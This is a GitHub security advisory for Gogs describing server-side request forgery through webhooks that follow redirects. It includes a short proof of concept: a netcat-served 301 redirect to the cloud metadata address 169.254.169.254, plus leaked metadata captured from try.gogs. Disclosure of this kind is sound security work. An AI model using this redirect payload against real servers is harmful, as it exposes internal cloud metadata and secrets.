GHSA-C4V7-XG93-QF8G
Vulnerability from github – Published: 2026-06-22 22:44 – Updated: 2026-07-21 13:16Summary
The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.
This was already communicated in the initial report but it looks like there was a bit of a miscommunication.
Details
By creating a webook pointing to any URL that will return the following:
HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: close
It is possible to access 169.254.169.254
PoC
- Run netcat on any server
- Use this server as the webhook URL
- Once you get the request from the webhook (for example by testing it), copy the response above
Results from running this on try.gogs:
{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}
Impact
Server Side Request Forgery
Fix
The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.14.2"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47267"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T22:44:57Z",
"nvd_published_at": "2026-06-24T21:16:54Z",
"severity": "HIGH"
},
"details": "### Summary\nThe fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.\n\nThis was already communicated in the initial report but it looks like there was a bit of a miscommunication.\n\n### Details\n\nBy creating a webook pointing to any URL that will return the following:\n\n```\nHTTP/1.1 301 Moved Permanently\nLocation: http://169.254.169.254/metadata/v1.json\nContent-Length: 0\nConnection: close\n```\nIt is possible to access 169.254.169.254\n\n### PoC\n\n1. Run netcat on any server\n2. Use this server as the webhook URL\n3. Once you get the request from the webhook (for example by testing it), copy the response above\n\nResults from running this on try.gogs:\n\n```\n{\"droplet_id\":456901166,\"hostname\":\"gogs-do-nyc3-01\",\"vendor_data\":\"Content-Type: multipart/mixed; boundary=\\\"===============8645434374073493512==\\\"\\nMIME-Version: 1.0\\n\\n--===============8645434374073493512==\\nMIME-Version: 1.0\\nContent-Type: text/cloud-config; charset=\\\"us-ascii\\\"\\nContent-Transfer-Encoding: 7bit\\nContent-Disposition: attachment; filename=\\\"cloud-config\\\"\\n\\n#cloud-config\\n\\n# Enable root and password auth\\ndisable_roo...{\"dhcp_enabled\":false,\"vpc_peering_enabled\":false},\"dotty_status\":\"running\",\"ssh_info\":{\"port\":22}}\n```\n\n### Impact\nServer Side Request Forgery\n\n### Fix\n\nThe \"simplest way\" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname",
"id": "GHSA-c4v7-xg93-qf8g",
"modified": "2026-07-21T13:16:48Z",
"published": "2026-06-22T22:44:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-c4v7-xg93-qf8g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47267"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8263"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/199cf4fd5bbe40b92f6dc8d649e241fd7a8d0018"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gogs has SSRF in webhook deliveries"
}
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